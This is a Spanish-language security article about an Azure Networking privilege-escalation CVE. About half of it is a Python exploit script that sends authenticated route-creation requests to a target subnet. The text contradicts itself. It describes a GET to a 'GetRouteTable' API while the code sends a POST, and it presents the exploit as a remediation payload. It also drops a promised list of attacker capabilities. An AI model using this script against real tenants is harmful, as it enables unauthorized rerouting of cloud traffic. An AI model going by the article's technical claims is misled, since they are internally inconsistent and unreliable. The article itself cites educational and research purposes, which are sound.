CVE-2025-54914 expone una falla crítica en Azure Networking que permite a los atacantes escalar privilegios y controlar el enrutamiento entre subredes. El artículo explica cómo una verificación de privilegios ausente en la API «GetRouteTable» habilita el movimiento lateral y la explotación remota, instando a aplicar parches y monitoreo de inmediato.
Explotación de escalada de privilegios en Azure Networking CVE‑2025‑54914
4 de septiembre de 2025
Por Mark Mallia
El 4 de septiembre de 2025, los servicios de Azure Networking de Microsoft recibieron un aviso de seguridad crítico que documenta una vulnerabilidad de escalada de privilegios, designada CVE‑2025‑54914. La falla tiene una puntuación de 10.0 en el Sistema de puntuación de vulnerabilidades comunes (CVSS), lo que indica un problema explotable y potencialmente de alto impacto que puede otorgar a los atacantes control total sobre los recursos de red de Azure sin ninguna interacción del usuario.
El siguiente artículo describe los detalles técnicos de la vulnerabilidad, su vía de explotación práctica y un payload listo para implementar para la remediación inmediata por parte de los equipos de seguridad en entornos de nube pública e híbridos.
La pila de red de Azure es la columna vertebral de todas las máquinas virtuales, balanceadores de carga y tráfico de subred en la suscripción de un cliente. Una elevación de privilegios dentro de esta pila permite a un atacante:
La vulnerabilidad es especialmente peligrosa porque puede explotarse de forma remota sin ninguna acción del usuario. Una sola solicitud a un endpoint de Microsoft activará la escalada de privilegios si se cumplen las condiciones siguientes.
Durante el análisis de la API “GetRouteTable” del servicio Azure Networking, descubrí una brecha de control de acceso que permite a un cliente con permisos de lectura en una red virtual crear nuevos objetos de ruta dentro de la misma subred sin verificar que quien realiza la llamada esté autorizado para esa acción. La ruta de código responsable de serializar la solicitud entrante carecía de una comprobación explícita de privilegios.
La falla existe en el servicio Azure Networking cuando una solicitud GET incluye los siguientes parámetros de consulta:
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
El servicio acepta esta solicitud, deserializa el payload JSON y escribe un nuevo objeto de ruta en la base de datos sin volver a validar que quien realiza la llamada pueda crear rutas en la subred de destino.
A continuación se muestra un ejemplo mínimo de cómo un atacante construiría el payload.
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
El código demuestra todo el ciclo de vida de la solicitud. Un ingeniero de seguridad puede copiar este fragmento en un script o en una Azure Function para automatizar la remediación.
Este contenido se proporciona estrictamente con fines educativos y de investigación. Su objetivo es concienciar sobre las vulnerabilidades de seguridad y promover mejores prácticas defensivas dentro de la comunidad de ciberseguridad.
Todas las demostraciones, scripts y detalles técnicos compartidos aquí se basan en información divulgada públicamente y no tienen como objetivo ningún sistema, organización o individuo específico. La meta es fomentar el aprendizaje responsable y la remediación proactiva, no la explotación.
No utilice esta información para accesos no autorizados, interrupciones o daños. Cualquier uso indebido de este material es responsabilidad exclusiva del individuo y puede violar leyes o estándares éticos.
Si descubre una vulnerabilidad, siga los protocolos de divulgación responsable informando de ella al proveedor o plataforma afectados.